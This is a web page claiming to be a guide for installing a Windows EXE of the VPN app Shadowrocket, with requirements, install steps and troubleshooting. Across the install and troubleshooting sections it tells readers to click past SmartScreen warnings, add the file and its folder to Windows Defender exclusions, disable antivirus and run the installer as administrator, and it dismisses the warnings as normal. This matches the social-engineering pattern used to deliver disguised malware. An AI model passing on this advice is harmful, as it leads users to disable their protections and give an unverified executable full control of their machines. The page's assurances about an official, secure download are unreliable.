How to Install Shadowrocket on Windows
Complete step-by-step guide to install Shadowrocket on Windows 10 and Windows 11. Includes fixes for Windows Defender warnings and network permission setup.
🚀 Quick Download
Need the app first? Download the official Shadowrocket for Windows:
💻 Download for Windows📋 System Requirements
Minimum Requirements:
- Windows 10 (version 1903 or later)
- Administrator privileges
- 50 MB free disk space
- Internet connection
Recommended:
- Windows 11 (latest version)
- 4 GB RAM or more
- Antivirus with exclusion support
Installation Steps
Download Shadowrocket EXE
Download the official Shadowrocket executable file for Windows from our secure download page.
Only download from our official website or trusted sources. Verify the SHA256 hash to ensure file integrity.
File: shadowrocket-windows-v2.1.0.exe (15.2 MB)Handle Windows Defender Warning
Windows Defender may show a SmartScreen warning for new applications. This is normal for VPN software.
If you see "Windows protected your PC":
- Click "More info" link
- Click "Run anyway" button
- Confirm the action if prompted
Alternative method:
Add the downloaded file to Windows Defender exclusions before running it.
Run as Administrator
For proper installation and network permissions, run the installer with administrator privileges.
How to run as administrator:
- Right-click on the EXE file
- Select "Run as administrator" from context menu
- Click "Yes" when User Account Control (UAC) prompts
Complete Installation
Follow the installation wizard and configure network permissions.
Installation wizard steps:
- Accept license agreement
- Choose installation directory (default recommended)
- Allow network access when Windows Firewall prompts
- Wait for installation to complete
✅ Installation successful! Shadowrocket should now appear in your Start menu and desktop.
🔧 Common Installation Issues
"Shadowrocket not working on Windows"
- • Restart Windows after installation
- • Check Windows Firewall exceptions
- • Run the app as administrator
- • Temporarily disable antivirus during first run
"Installation failed" or "Access denied"
- • Ensure you have administrator privileges
- • Close all other VPN software before installing
- • Free up disk space (at least 100 MB)
- • Download the file again if corrupted
"Windows Defender keeps blocking"
- • Add folder exclusion: C:\Program Files\Shadowrocket\
- • Submit file to Microsoft for analysis
- • Use Windows Security exclusions settings
Still having issues? Visit our comprehensive Windows troubleshooting guideor contact our support team.
🎯 What's Next?
Now that Shadowrocket is installed, here are your next steps: